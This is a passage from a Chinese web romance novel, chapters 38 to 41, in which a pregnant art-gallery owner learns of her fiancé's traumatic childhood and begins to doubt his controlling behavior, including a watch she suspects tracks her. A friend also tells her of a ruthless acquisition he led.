陆沉渊轻轻放在她肚子上的宽大手掌,却在听到她提出的这个问题时,略微收紧了一下。 几分钟的沉默以后,他将下巴抵在姜绒头顶,目光扫在她垂着的,染上了窗外月色清辉的长睫上,缓缓沉声说出了口:“这个问题,和我父母有关。” 又是和他父母有关?该不会又是什么在自己眼里,奇葩至极,十分狗血的教育方式吧? 姜绒忍不住去那样猜测,心里忍不住吐槽,陆沉渊的父母,恐怕是她所知道的,在她的世界里,最差的一对父母。 “是怎么个有关法呢?”想要弄明白这一切,她忍不住,向他追问了一句。 陆沉渊宽大的左手手掌,却将姜绒搂的更紧了,他把下巴垫在了她散发着蜜桃甜香的颈窝里,那双黑眸里的颜色,更暗更沉了,如同深海一般。 他缓缓向她讲起了,他七岁时,发生的一件事。 那时,他还年幼,虽然表现出了远远超乎同龄人的数学天赋,以及学习能力,但是对于生命的柔软与可爱,那一部分,还未曾被扼杀。 陆沉渊七岁生日当天,陆竞深为他举办了一场,极尽奢侈,规格很高,用于笼络并拓宽人脉的生日庆祝会。 小小绅士的他,对于那些叔叔阿姨们,送来的各种各样,包括豪车以及奢侈品在内的各种礼物,都并不感兴趣,他也不喜欢,那些繁文缛节的生日仪式。 于是,他在法国名厨负责的,高级料理自助台上,趁大人们不注意,偷偷切下了一小块生日蛋糕,以及几块牛排,溜到了自家庄园里,偌大的后花园草坪上去了。 那里有一只——绝对保密的情况下,陆沉渊持续了数月,偷偷喂养的的流浪小狗。 然而,那一天,他端着自己的生日餐盘,找了半天,也未曾找到那只小狗的去向,小狗好像凭空消失了一般。 父亲陆竞深,却先一步找到了他,径直将陆沉渊带到了他的房间,语气毫无波澜,只是让陆沉渊望向他身后的电子屏幕: “生日快乐,这是我给你的生日礼物。” “你为了无用的仁慈,浪费了整整147天的时间,并为此撒谎了63次,糟蹋了18公斤的高级食材。” 那上面播放着的场面,令年幼的陆沉渊惊讶无比——高清红外监控录像,记录了他过去几个月里,所有与那只流浪小狗互动的瞬间与画面。 他还没有听懂,陆竞深,那句生日礼物的含义是什么。 紧接着,他就被陆竞深,带到了一个类似兽医手术室,极度洁净冰冷的房间。 房间里还站着两个人,一名身穿白大褂的医生,以及姿态优雅的母亲黎婉矜。 而手术台上,赫然正是陆沉渊熟悉的,那只黑灰色的流浪小狗,它已经被麻醉。 陆竞渊看着表情惊惧疑惑的他,指向旁边的器械台。 上面放着两样东西:一把解剖用的手术刀,和一支装有安乐死药剂的注射器。 他看向陆沉渊冷冷说道:“经过兽医的检查,你的朋友,患有无法治愈的终生遗传病,存在极大痛苦。” “所以,沉渊,现在我将由你,亲手来执行解决方案。” “第一个方案是,亲手解剖它,这样你会超越任何无用的情感,不仅能够获得一个集团继承人,所需要的绝对理性,而且能够完成一次彻底的生物学认知。” “第二个方案是,注射安乐死,快速结束你朋友的生命,维持它在你心中虚假、完美的形象。如果你选择这么做,那么证明你仍然是情感的奴隶,并且会成为一个彻底的懦夫。” 年幼的陆沉渊,根本无法消化这些话语。 他只知道,这只小狗,样子是多么可爱,毛发是多么柔软,在他给它投喂食物时,会围着他兴奋的转圈,会伸出舌头来舔他手背,感谢他。 它带给他的快乐,那么纯粹,那么温暖,在家庭的高压之下,是他唯一能够喘口气的机会。 可是,陆竞深并没有给他犹豫的机会,反而掏出了手表,开始了倒计时。 于是陆沉渊流着眼泪,一边哭泣,一边在父亲冰冷的注视和母亲沉默的旁观下。 顶着极度的恐惧、崩溃和压力,颤抖地选择了注射器,亲手将药剂推入了那只小狗的血管,结束了它的生命。 看到他做出的选择,陆竞深眼里闪过一抹失望。 他一把拉过哭的上气不接下气,甚至差点呕吐出来的陆沉渊,蹲下身来,直视着他的眼睛说道: “你选择了仁慈的幻觉,而非残酷的真理。你亲手维护了一个可笑的谎言。” “记住,你今天的善良,源于你的懦弱。你选择用安乐死来结束它的生命,不是出于爱,而是因为,你不敢面对真实!” 陆沉渊用这个“生日礼物”,亲自教给了他——爱等于毁灭。 是他无用的善良与“爱”,害死了一条无辜的生命,并最终,使自己成为了,亲手终结所爱的刽子手。 在那以后,陆沉渊的世界里,没有“爱”这个字眼存在。 从那以后,陆沉渊开始怕狗。 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! 没评论真的不想更,呜呜呜[爆哭][爆哭] 第39章 第三十九章 宝宝(∪`●)ゝ “狗屁!陆沉渊, 你爸教你的都是些歪门邪说的狗屁!” 待陆沉渊说完这句话,姜绒不仅没有了任何睡意,还直接从床上坐起身来, 腮帮子鼓得像含了两颗栗子,怒目圆睁, 望着他气愤的骂道。 怪不得,陆沉渊那么怕狗。 姜绒完全理解了他在狗咖时的种种夸张反应,甚至被狗咬上手臂以后, 会害怕到晕倒的严重程度。 因为, 他一看到狗, 想起的必然就是那个七岁时年幼无力的自己, 一边哭一边被父母逼迫, 亲手安乐死了一只小狗的场面吧。 他被迫成为了既是受害者, 也是刽子手的存在。 这种双重创伤, 更像是一种ptsd,镌刻在他记忆深处,成为了永远难以磨灭的阴影。 姜绒突然明白了,为何高一的时候,自己在他身上总会看到那种疏离、淡漠, 类似于无生命的机械、电脑一般的气质与感觉了。 他确实与所有人都隔着一层隐形的纱,像被父母用家族继承人的身份, 精心制作的一个牢笼, 将他困在了冰冷的玻璃罐里。 那时,她为何会如此反感陆沉渊。 正是因为, 在父母的爱与支持之下,自由而恣意,随性长大的她, 看到了他身上那种东西的存在,因此本能的抵触、讨厌。 “后来,我求了爷爷,偷偷把那只小狗带了出去,亲手埋在了我家后院栏杆外的草地里。” “如果时间可以重来,我宁愿它没有跨过栏杆,没有溜进我家的花园里,没有认识我。” 陆沉渊抬起一双黑眸,接着向她说道,细密的长睫,在冷白的眼睑,投下一片小小的阴影。 躺在病床上,身穿白色病号服的他,左手还缠着厚厚的白色纱布,黑发凌乱的散落在枕头上,额前垂下了几缕发丝。 这一刻,他不是无所不能的陆沉渊,而是脆弱得像住在玻璃罐里,守着自己星球的小王子。 姜绒眼圈兀然红了一下。 当她和姜曜手牵着手,拿着兜网,满世界乱跑,在无忧无虑的花园里,捕蝴蝶、捉蜻蜓、看萤火虫时。 与此同时,年幼的陆沉渊,却跪在草地里,内心自责而愧疚,一边哭泣一边亲手埋葬了,他喜欢的那只小狗。 “所以,你会觉得,我是个彻头彻尾的怪人吧?”陆沉渊骤然抬起一双黑眸,向她问道。 头一次,从他那双好看至极的眸子里,姜绒没有看到那种气场强大,掌控一切,游刃有余的自信与笃定。 她看到了小心翼翼的试探、犹疑以及不确定。 “才不是,陆沉渊,你是我见过世界上最有爱心的人!” “整整147天哎,你都在坚持投喂那只流浪小狗,而且你爸妈那么变态严厉,你还能向他们撒那么多次谎,来保护小狗,填饱它的肚子!” “你要相信,那只小狗,绝对不会恨你的!” “它的记忆一定是美好的,只会记得,你跟它在草地上奔跑,玩耍,给它吃,给它喝,让它再也不必担心流离失所,有上顿没下顿的事!”” 姜绒却兀然换了副表情,一双清澈的浅茶色鹿眼,发着光,闪着亮,唇畔的两颗小虎牙,明媚而张扬,笑着朝她说道。 就像一轮炽热的、暖色的太阳,令人根本移不开眼睛,撕开了他世界里的一角,一直暖到了陆沉渊心里,最深处的角落里。 他一双黑眸定定的望着姜绒,有一瞬间,甚至忘记了呼吸,一向规律沉稳的心跳,也慢了半拍节奏。 “还有,陆沉渊。爱从来不等于毁灭,爱等于创造。” “我妈告诉过我,去爱,去创造,就是这个世界上,最快乐,最幸福的事情。” 姜绒脸上红了一下,心内有些羞涩,她自然能够感觉到,对方直直停留在自己身上,极其认真的炙热目光。 但她还是忍住一切,将所有抛诸脑后,握住陆沉渊宽大的左手手掌,轻轻放在了自己的肚子上。 看着他骨节修长的手指,轻轻贴在她肚皮上时,她能清晰感觉到,两个人的呼吸,几乎都震颤了一下。 肚子里,那个属于他们两人的“创造”,仿佛真的已经有了灵性一般,在他们的手掌贴上去的瞬间,轻轻踢了一下。 就像鱼儿滑过水面一般,虽然微小,却完全无法忽视。 体会着掌心传来的温度,陆沉渊的心内是感动而震撼的。 他头一次,听到有人对他,如此斩钉截铁的说,爱不等于毁灭,而等于创造。 在没有温度的理性世界里,在陆竞深的教育之下,他真的逐渐将自己活成了一把冰冷而锋利的手术刀。 直到高一时,在那节解剖课上,他已经可以毫无芥蒂的,作为模范生,亲手解剖一只小白鼠。 并且在姜绒叫住他,朝他问出那句话来时,冷冰冰的告诉她,无用的怜悯与感情,是最不重要的存在。 他如此强大,强大到作为陆氏集团的继承人,一上任,就解决了陆竞深所有的历史遗留问题。 不仅收回了全部股分,而且杀伐果断,将高层大换血,彻底架空了陆竞深,明里暗里的争斗,将权力全部集中在自己手里,逼得对方,只能退居于幕后,在他面前,再无任何话语权。 只能一切,看他脸色。 而他所创建的审计事务所,凭借出色的业务水平,以及强大的资源和人脉,更是短短一两年的时间,就在他的铁血管理之下,成为了全球最顶尖的存在。 可是,还从来没有一个人,像姜绒这样,唤着他往回走,告诉他,他还可以拥有一个截然不同的暖融融的,散发着光亮的温馨世界。 “你感受到了吗?这就是我们共同创造的生命。” 姜绒红着脸,将自己纤长的手指,轻轻覆在陆沉渊宽大的,比她大了好几倍的手掌上,朝他柔声说道。 陆沉渊点了点头,一双幽深的黑眸,望向她:“嗯,感觉到了。” “我知道,你的父亲教你,爱是用来毁灭的,爱等于毁灭,他错的很离谱!” “因为,你现在,正在用你强大的爱和力量,来守护一个,你所创造的新生命的诞生与成长。” 姜绒那双浅茶色的清澈双眸,锁住陆沉渊,继续向他认真说道。 下一秒,她整个人,却被兀然坐起来的陆沉渊,一把拥进了他,散发着雪松与药水气味的宽阔怀抱里。 他皱着墨眉,忍住疼痛,将那只缠着绷带的右手胳膊,努力抬起,紧紧拥抱着姜绒。 那双幽深的黑眸,锁住小脸绯红的姜绒。 根本不像拥有一整个世界,头戴冰冷皇冠的王,而更像是一只,被淋湿在雨夜里,浑身湿漉漉,只缠着它的所有物,病态而迷恋,充满了占有欲的弃犬,在她耳边,沉声说道: “那宝宝,你可不可以,永远不要离开我?” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! [星星眼][撒花][撒花] 第40章 第四十章 他和你并不合适。 “宝宝?陆沉渊, 你疯了?谁教你这么叫的……”姜绒瞬间红了脸,转头向他问出了口。 陆沉渊却是一副理所当然的模样,一双黑眸看着她说:“江之晏跟我说, 用这个词,没有哪个女人会不喜欢。” “啊?他到底给你教的什么歪门邪说啊!”姜绒耳根发烫, 这才明白了过来,原来是江之晏教的。 陆沉渊受伤的手臂,却固执的将她搂的更紧了, 一双眸子像是隐隐萃了火的铁, 贴近她耳畔, 低沉性感的声音, 如同粗粝的砂石, 在她白皙耳垂啄了几下, 继续喊了两声:“宝宝, 宝宝……” “狐狸精!”姜绒望着自己面前,那张眼尾上扬,眉眼深邃,明明在其他人面前,永远是一副不苟言笑, 冰块的脸。 目前做出的一切行为举止,却都在赤/裸/裸的勾引着她的男人。 她整张白皙的小脸绯红, 纤长的双腿已然开始发软, 浑身都在抑制不住的发热,变得滚烫。 明明不想受他撩拨, 但她这副刀枪不入,冷若冰霜的身体,却偏偏只对陆沉渊有感觉。 而观察力极其敏锐的他, 很显然,能够捕捉到她身体,所产生的任何一丝一毫,细微的反应。 她不知道要怎么回答陆沉渊,让自己永远不要离开他这句话,毕竟自己对他这个人,还并不了解。 现在也只是知道,他在自己面前会不一样,他有弱点,有害怕的事物,有童年的阴影,这些事情。 但是,只是了解这些,就足以让他们在一起了吗? 即使她的身体反应,在面对他时,非常诚实。但是在理智层面上,她并没有忘记,她和陆沉渊是无论身份、阶级地位、还是性格、家庭,都是拥有巨大差距和鸿沟的人。 姜绒没有被生理性喜欢冲昏头脑,而且现在隐隐觉得,一切的事情,好像都是和陆沉渊再见面,并且谈判以后,就往一个她不可控的方向走去了。 为什么陆沉渊明明怕狗,却主动劝说苏女士,让她答应放自己,在他陪同的情况下,去狗咖见姜曜。 万一,这件事本来就合他心意,是他故意使出的苦肉计,让自己同情并心疼他呢? 为什么周野那里会莫名其妙,有她的孕检单?并且因为这张单子而上头,一气之下把她怀孕的事,捅给了苏女士。 为什么陆沉渊知道了这件事,却一点也不慌,直接当着苏女士和周野的面说要和她结婚,使得她头昏脑涨,还未搞清楚什么状况,就跟他走上了备婚的道路。 还有黎安安每次出现的时机,为什么都那么巧…… 这些事情,桩桩件件,最后都有利于谁? 许多细枝末节的东西,一并进入姜绒脑海里,令她身上的热意,一点点冷却了下来,逐渐迟钝的感知到了,陆沉渊这样身居高位,从腥风血雨里,获得世俗上巨大成功的人,似乎是极其深不可测的。 他和自己根本不同,自己是刚刚毕业,正在创业,身上还带着点艺术家天真气息,没什么心眼的大学生。 可以说,陆沉渊与她,完全是两类人。 也许,他是个为达目的,不择手段的人? 此时,陆沉渊兀然将那只完好的手掌,轻轻放在她肚子上抚了抚,呢喃出了这样一句,令姜绒浑身一颤的话来: “宝宝,虽然你肚子里已经怀上了我的孩子。但是你要答应我,将来它出生以后,它也不能是最重要的,它不能和我争抢你的存在……” 他低沉的嗓音里带着明显的偏执意味,就像个认准了什么,就永远不会再放开的阴暗的疯子。 刚才她说出那些话来,一味只想治愈陆沉渊,但她又没有想过,或许她根本不了解陆沉渊的世界,更不该以自己想象里中的陆沉渊,去类推他。 姜绒眼皮跳动了好几下,心内只觉得更加不舒服。 “陆……陆沉渊,你松开我,这样搂着太紧了,我有点不舒服。我……我想吐。”她指尖发白,看着陆沉渊说道。 陆沉渊稍微将她放开了一些,那双眼尾泛着红的黑眸,牢牢锁住她,似乎不明白,她为何突然身体不舒服。 “孕吐,我去趟卫生间。”姜绒拿出了自己临危不乱的演技,尽量神色平常的回答他道。 陆沉渊这才点了点头,却朝她兀然勾唇笑了一下,眼睛弧度弯弯的,透着几分孩子气:“那你去吧,要早点回来哦,我还等着你一起睡觉。” “好!”姜绒答应了他一声,艰难的下了床,迈开犹发软的双腿,走出了他私人病房的门。 才走出门口,她靠着洁白的墙壁,闻到新鲜的空气,这才放心了一些。 姜绒这辈子,最讨厌的事情,就是被控制。 这一点,无论是任何人都不行。 因为从小到大,她的人生都不是被编排出来的,而是一切以自己的选择为主。 无论是高中时,她就下定决心要学习艺术,并且要去英国伦敦,从那以后,她就独自住在异国求学,忍住了一切的孤独,适应异国的生活,天气、饮食习惯等,自立自强,直至大学毕业以后,才回了国。 还是她现在选择创建自己的艺术馆,而不是在选择出道姜曜完全放弃了家里画廊的生意后,由自己去接手父母,早已打出品牌价值和口碑的家族画廊。 而刚才,她从陆沉渊病态的话语和行为里,读出了浓浓的控制欲。 姜绒看了眼医护人员已经下了班,空旷无人的私人医院里。径直向电梯走去。 还好刚才和姜曜寒暄的缘故,她的包和手机都没放在陆沉渊的私人病房里。 一不做二不休,她径直走向电梯,打算直接离开陆沉渊的别墅,叫车回艺术馆里去。 到了地上一层,佣人们也都下班了,冷冰冰的这个别墅,偌大而没有生气,只有奢华的顶级家具俯视着她,一如陆沉渊这个人。 姜绒快步向大门口走去,再次经过客厅里,那只玻璃恒温箱时,里面的红色鬃狮蜥,那双绿色的竖瞳,正紧紧盯着她身影走过,如同一条紧紧将人缠住的蛇。 她打了个寒颤,这个目光,如同陆沉渊刚才带给她的感觉。 加了大价钱,成功叫到了一辆愿意来山顶上接人的专车后,姜绒马不停蹄的向自己的艺术馆里赶去,并在车上拨通了林晚的电话。 “喂,姜绒,你终于肯打电话给我了!是想给我负荆请罪吗?你也太不够姐们了吧!我怎么听阿姨说,你要结婚了,而且怀孕了?” “你要跟谁结啊?怀了谁的孩子啊?我怎么是最后知道消息的人呀?”林晚的声音,已经连珠炮弹般的冲进了她耳膜里。 姜绒只得暂时缓住了她:“哎呀,事情有点复杂。你明天,来我艺术馆一趟吧,我有事要跟你说。” “什么事啊?不称职的姜老板,我这些天晚上可都没见过你在艺术馆,不知道你人被什么精怪迷去了。” “后天江之晏的画展,策展的事情,我下了班,还在带着馆里的人,按照你的设计图,熬夜准备着呢。”林晚没好气的揶揄她道。 姜绒脸上表情更加尴尬了,附和的笑了几下:“对不起啊,晚,我一定好好补偿你,这次展出结束就给你多点分成!我6,你4好了吧?” 谁能想到呢,这些天她确实算是被狐狸精迷上了,和陆沉渊纠缠了许多天。 “这还差不多……”林晚瞬时喜笑颜开了,语气有些美滋滋的。 姜绒忙继续向她说道:“晚,布布的事,我已经跟我哥说过了,他答应把布布给你养,所以你明天跟他打个视频电话吧,让他更加信任你。” 她话一说出口,林晚在电话那头却没了声响,然后她听到了,什么东西砸在了地上的声音。 “你没事吧?别是因为太激动,摔倒了吧?”姜绒忙向林晚问道。 好几分钟后,林晚才回答她,但语气里多了几丝无法抑制的颤抖:“没事,没事,我明天一定准时到。” 姜绒挂断了电话,却兀然想到,自己现在,或许不应该回艺术馆,而是应该去另一个,可以求证她的怀疑与猜测的地方。 “师傅,换一下目的地,去Ye餐厅。”她放下手机,向前排的司机说道。 语气憨厚的司机点了点头:“好勒,姑娘,您这大晚上还要去那么多地方,真是有够忙的。” 铛,此时姜绒手腕上的劳力士手表,却响了一下,她赶忙伸出纤长的手指,将那块镶嵌了满钻的屏幕,按了好几下,但动手能力并不强,她按不出陆沉渊的那个操控界面。 亦或者,陆沉渊故意设置了什么她按不出来的手表底层页面? 一个有些恶寒的想法,突然冒进她脑子里。 这个手表响了一下,会不会是正在向陆沉渊发送自己的实时位置?受到了他的实时操控? 姜绒伸出纤长白皙的手指,赶忙取下了手腕上那块手表,并按下了侧面的强制关机按钮,直到手表彻底没有了反应为止。 周野装潢高级且节约,风格法式的餐厅,很快出现在了她面前,即使已经是深夜,还有不少食客,正在排队入座,上座率高的不行。 姜绒下了车后,向餐厅门口走去,这才看到门口的,字体飘逸的手绘餐牌上写了,有专门针对夜间顾客,推出的米其林三星主厨特推食物以及伴酒套餐。 怪不得人这么多,而且店里的气氛看起来也很好,她不得不承认,周野还是很会做生意的。 “这位小姐,请问您有预约吗?没有预约,是不能进去的,我们已经满座了。”姜绒走到门口,一位身穿西装的外国侍应生已经拦住了她,向她说道。 她这才反应了过来,此前自己都已经习惯了周野的特殊招待,每次都是堂而皇之的直接走进去,竟然已经忘了还需要预约这回事。 “我跟你们主厨是朋友——姜绒,你可以跟他说一声吗?”姜绒仰头望向那位个子高大的外国侍应生说道。 侍应生点了点头:“好的。” 几分钟以后,一头金发的周野,高大的身影,已经走了出来,速度比她预想中的还要快。 “怎么这么晚过来找我?夜里风大,很凉,先进餐厅说吧。”周野的目光落在她身上,琥珀色的眸子里,情绪却有些复杂,朝她缓声说道。 姜绒点了点头,跟上他的步子,习惯性的开了句玩笑:“来视察你们“老百姓”的生活啊,这么晚你都没下班,不也很累?” 一贯开朗且话多的周野,这次却并没有说出话来回应她,只是领着她,一直走到了那间,主厨特供的,他永远会为了她前来用餐,而留出来的包间里。 姜绒心里早已做好了,他可能会带她直接去他办公室说事的打算,但还是没想到,在这样到处坐满了人,如此拥挤,而且他们此前就已经闹掰了的情况下。 他还是给她留了一间房。 “你现在是孕妇,喝不了咖啡,也吃不了甜点,我让他们给你上其他的。”带她坐下来以后,周野望着她说道。 姜绒点了点头,语气多了几分生疏:“嗯,麻烦你了。” “有什么事情要来亲自找我?这还是你回国以后,除了和林晚来聚餐以外,第一次自己来找我。”周野看着她问道。 姜绒不想再掩饰,直奔主题:“我那张孕检单,是谁给你的?” 她心情有些紧张,定定的望着周野那双琥珀色的眸子,隐隐期待着,他能说出来,和自己猜想的不一样的话来。 然而,周野张了张唇,给姜绒的答案,非常清楚,彻底断了她这点期待: “是一个身穿西装的男人,我看了监控,开来的车上有陆氏集团的logo。” 真的是陆沉渊做的。 他为了达到让自己怀孕的事情暴露的目的,不管自己是不是,早早就告诉过了他,自己还没做好准备公开,却还是将这件事情,告诉了周野。 既能达到自己不得不和他走向结婚的目的,也可以恶心周野一把,一石二鸟,手段卑劣。 姜绒坐在餐椅上,握紧手里的玻璃杯,心情瞬间跌入了谷底。 周野的目光,却落在她那张,有些发白的清丽小脸上,昏黄的灯光下,修长脖颈上的藤蔓纹身,更加明显。 他垂睫,张了张唇,兀然向姜绒说出了一句话来: “小绒球,他和你并不合适。”《 》 40-50 第41章 第四十一章 一个人质,一个狗质。…… 哐当, 包厢的门,此时却被侍应生推开了。 “店里的新品,美人姬草莓奶昔, 尝一尝。” 周野把那杯,顶上是小熊形状的浅粉色草莓奶昔, 推到了姜绒面前,把精致的银色小勺子,细心摆好, 朝她痞里痞气的勾唇, 笑了一下。 姜绒点了点头, 伸出纤长的手指, 握住了那个白色的杯子, 这种日本产的贵族草莓, 她听过, 一颗单价最高3100,被称为了草莓界的爱马仕。 暖意从掌心传来,她才惊讶的发现,奶昔竟然被做出了适合她当前身体状况的热饮。 她拿起勺子,舀了一勺, 放进嘴里后,香甜微酸的草莓多汁果肉的味道, 在她味蕾上炸裂开来, 令她一瞬间,几乎忘记了所有的不快与忧愁。 仍然是周野曾经给予她的那份味道。 大学时, 很多次艺术学下课后,她因为自己那个难以启齿的病症hsdd,而感到郁闷和烦恼时, 就会独自去周野开在街边的那家小店。 每一次,离开的时候,她都会收到周野专门给她准备的lucky cookie (幸运饼干)。 掰开来时,每一张纸条上的话都不一样,是周野亲自手写下来的,诸如【你今天真的很可爱!】【这世界上最耀眼的东西除了阳光,还有你。】…… 她就那样一点点被治好,走出了阴霾的心境。 “真的很好喝!”姜绒抬起头来,一双清澈的鹿眼,看着周野笑了出来,淡粉色的唇瓣周围,都糊上了一圈白色的酸奶,却浑然不觉。 周野朝她扬了扬唇,似乎觉得她这个样子非常可爱,伸出修长的手指,想替她擦拭,却又兀然想起了什么,在半空中停了下来,不动声色的收回了手。 他发现,这世界上的人很多,早早在社会上摸爬滚打的他,都能够如鱼得水的相处,并谈笑风生,左右逢源。 但唯独,拿姜绒没有办法。 “周野,其实我想向你道个歉,因为陆沉渊的事情,他那样做实在太冒犯了,希望你不要怪他。”姜绒却兀然向他认真说道。 听到这个名字,周野眸光暗了一下。 “这样的消息,总归是瞒不住的,所以他告诉我,也很正常。”他语气淡然,回答姜绒道。 姜绒点了点头,秀气好看的娥眉,却不自觉的蹙起,忍不住向周野追问了一句:“你为什么觉得,我和他不合适呢?” “因为你们是两个世界的人。”周野的回答非常简短。 但令听到这句话的姜绒,无话可说。 “你听说过辰星科技吗?”周野却兀然向姜绒沉声问出了这样一句话来。 姜绒一脸茫然的望向他:“没听说过。” “那家科技公司的创始人,是个科技狂人,拥有革命性的电池技术,是我一个老顾客的兄长。那家公司,被陆氏集团收购了,案子是陆沉渊主导的。” 周野喝了一口面前的咖啡,缓缓向她说道。 姜绒不觉得有什么奇怪的:“他是陆氏集团的掌舵人,收购科技公司,不是很正常吗?” 然而,周野接着说出来的话,却令她感到震惊无比。 “那个创始人根本不愿意自己公司被出售,但陆沉渊找到了他核心专利中,一项无法绕开,存在先进技术争议的法律分析报告。” “然后,那个创始人在巨大的精神压力之下,精神崩溃,直接疯了,在医院楼顶跳了楼。而陆氏集团以很低的市场价格,完成了对辰星科技的收购。” “据我朋友说,他哥哥公司的核心技术团队,被陆沉渊拆分并入了他自己的研究院里,其余的部分则被他打包出售,至此他完美的收回了一切收购成本。” 周野将平静的叙述完了,这整件事情。 姜绒瞪大一双鹿眼,手里温热的奶昔早已降了温,一直凉到令她打了个寒颤。 这就是真正的陆沉渊吗?做事如此狠厉、冷酷、无情,能够漠然的逼死一个创始人,再将对方的公司收入麾下,分食干净。 她甚至觉得有些恍惚,这样一个铁血铁腕的人,真的是那个她面前,竟然会撒娇,会抱着她不松手。 会在她耳边唤她宝宝,请求她永远不要离开他,甚至会跟她肚子还未出生的孩子,争风吃醋的陆沉渊吗? “小绒球,你现在应该能看出来,陆沉渊,是个什么样的人了吧?”周野喝了口咖啡,一双琥珀色的眸子,锁住姜绒,向她问道。 姜绒张了张唇,心绪复杂,不知道该用什么话语,来回答他。 “我朋友也跟我说了,陆沉渊这个人,他最擅长摧毁的,是一个人的意志。天真的理想主义,于他而言,毫无用处。” “他看似会给人选择,但实际上没有退路。在他的世界里,毫无感情,只有计算。” “所以,小绒球,你还觉得,他是真的喜欢你,爱你,所以要跟你结婚吗?”周野接着说道。 姜绒兀然站起了身来,拎起桌上的香奈儿古董包:“对不起,周野,现在时间已经太晚了,我先回去了。” “嗯,我送你到门口吧。”周野亦站起了身来,一直将她送到了餐厅门口。 回艺术馆的车上,姜绒心绪复杂至极。 虽然,因为无法抗拒的生理性喜欢,那一晚是自己先招惹了陆沉渊,才有了之后,所有的事情。 但这并不代表着,为了一个孩子,她就必须和陆沉渊结婚强行绑定在一起,再说自己不是没有抚养这个孩子的能力。 可尽管这样想着,姜绒的唇上却传来一阵酥酥麻麻的感觉,她迟钝的伸手抚了抚,才消下微肿来的唇,那是刚才在陆沉渊私人病房的浴室里,拜他的吻所赐。 太离谱了,她的身体似乎违背了自己的大脑,竟然已经记住了他给予她的那种难以比拟的感觉,甚至开始偷偷怀念起了那个吻的滋味。 “荒唐!”姜绒狠狠骂了自己一句,引得前排的司机,疑惑的看了眼后视镜里的她。 包里的手机兀然响动了一声,她伸出纤长白皙的手指,将手机拿了出来,微信上赫然弹出了一条消息,正是发自陆沉渊: 【宝宝,你在哪里?为什么要自己离开别墅?】 看来,他终于坐不住了。 毕竟,她把他用来定位追踪自己的劳力士手表,强行关闭以后,他就再也不能看到自己的行踪了。 姜绒思考了几分钟,随即打了一行字,发了过去: 【陆沉渊,我最受不了控制欲强的人了,我已经知道你背地里都做了些什么事,复婚的事,先推迟吧,我要考虑清楚。】 消息发过去以后,那边却没有再回复。 第二天,林晚早早来到艺术馆里,却在二楼破天荒的看到挂着两个黑眼圈的姜绒,从她专属的馆长套房里走了出来。 “哎,你这怎么回事啊?都成熊猫了。是熬夜了,还是有心事啊?你不都是要结婚的人了吗?还是准妈妈,得注意身体啊!”她忙望向姜绒,问了一句。 姜绒朝她摆了摆手,给自己倒了杯温水,捧着杯子,边喝边回答她道:“没事,只是没睡好而已。” 事实上就是,昨天晚上,她失眠了。 陆沉渊那张妖孽般的脸,一直在她脑子里乱窜。 一会儿梦见自己被他紧紧抱着,缠得不行,吻得喘不过气来,一会儿梦见他变成了吐着信子的蛇,冷冷的盯着自己看,差点把自己吃了。 “话说,你肚子里的孩子到底是谁的呀?要跟谁结婚?我问阿姨她也不说,只是乐呵呵的,说到时候我就知道了。”林晚走近她,一脸好奇的问道。 姜绒脸上红了一下。 从高中开始,自己就跟林晚私下吐槽过陆沉渊很多次,而现在,自己要是告诉她,自己怀的是他的孩子,那自己岂不是很没面子。 “咳,我妈说的确实对,以后你就知道了……”姜绒拿起一份报告,假模假式的看了起来,打了个马虎眼。 林晚自然知道,她是不想回答这个问题,于是伸手轻轻抚了抚她肚子:“也行,不管你嫁的是猫还是狗,我要做这孩子的干妈!将来给她发个大大的红包!” “那必须得是,晚,我可等着呢!”姜绒成功被她逗笑。 她想起今天让林晚来,最重要的事,那就是给姜曜的狗,找主人。 于是,她径直拉着林晚走到了自己馆长套房里的化妆镜前:“你坐下来吧,我给你化个妆。” “化妆?好吧……我还真没尝试过。”林晚表情却有些紧张,她当然猜到了姜绒的目的,闭上眼睛长睫微颤。 她和姜绒可以说,是完全不同的两种人。 姜绒是学校里的校花,身材脸蛋无可挑剔,身边仰望并追求她的人无数,而她也很早就会打扮自己了,对时尚潮流那些,更是非常精通,永远是班上穿的最漂亮,最有特点的那一挂女生。 而林晚总是一副清汤挂面的模样,鼻梁上架着眼镜,醉心学习,从来不会打扮自己,在男生面前又刻薄又毒舌,自然是无人问津,却也不敢惹的那种假小子。 连她自己也对能和姜绒这样截然不同的人,成为这么多年的好闺蜜这件事情,觉得不可思议。 姜绒靠近她,取下她鼻梁上的眼镜,用手里的笔刷,细致的给她描眉画唇,再涂上眼影,给林晚画了一个极其清透、自然,却彻底发挥了她五官优势的妆容。 “好啦,你看看怎么样?”她拿起一面小镜子,递给林晚说道。 林晚接过镜子,看到镜子里的自己时也惊了一下,这是一个她完全不熟悉,也不敢想象的,清纯好看的自己。 “其实我知道,你肯定是对我哥有感觉吧?高二开始我就去国外了,也不知道你们在凛川发生的事情,可以跟我说句实话吗?你跟我哥到底是怎么一回事?” 姜绒兀然望向她问。 林晚脸上却更加红的厉害了,全无那副毒舌又干练的女强人模样,支支吾吾的,小声回答了她几个字: “其实……我从高一就开始,暗恋他了。” 姜绒瞪大了一双鹿眼:“原来如此!你不会高一那会儿,在我家看见我哥那次,就开始惦记上他了吧?怪不得,你那次情绪那么激动。” 林晚脸色绯红,并没有否定她的猜测。 “我去,惊天大秘密啊!那你一会儿可得在我哥那大傻子面前,好好表现咯。”姜绒笑出了声来。 于是,她直接拨通了姜曜的微信。 响了几秒钟以后,很快就被对方接通了,无论在做什么,只要是她,她哥必然会秒接。 “喂?干嘛呢?姜绒,我正候场呢!”姜曜那张化了明显舞台妆,有韩式风格,极其好看的脸,立即出现在了镜头里。 他的粉发被剪短了,成了狼尾的长度,却还是衬得整张脸,冷白的发光,身上穿的是黑色长款皮衣,非常有乐队名,吸血鬼的暗黑气质。 姜绒立即把林晚推到了镜头前,向那头说道:“姜曜,我给你找到布布的保姆了,就是她!” 林晚看向镜头里的姜曜,心跳瞬间停滞了好几秒钟,差点忘记了呼吸。 曾经年少时的仰望,那个站在云端上,她从高一开始就喜欢上,放在心里多年的人,在这一刻,竟然有了接触的机会。 “我……我是……”她涨红着脸,嗫嚅着唇,一句话也说不出来。 舞台上的声响传来,伴随着观众的欢呼声,人潮汹涌,涌进听筒里,落在林晚耳畔,令她觉得,这一刻,自己一定是在做梦。 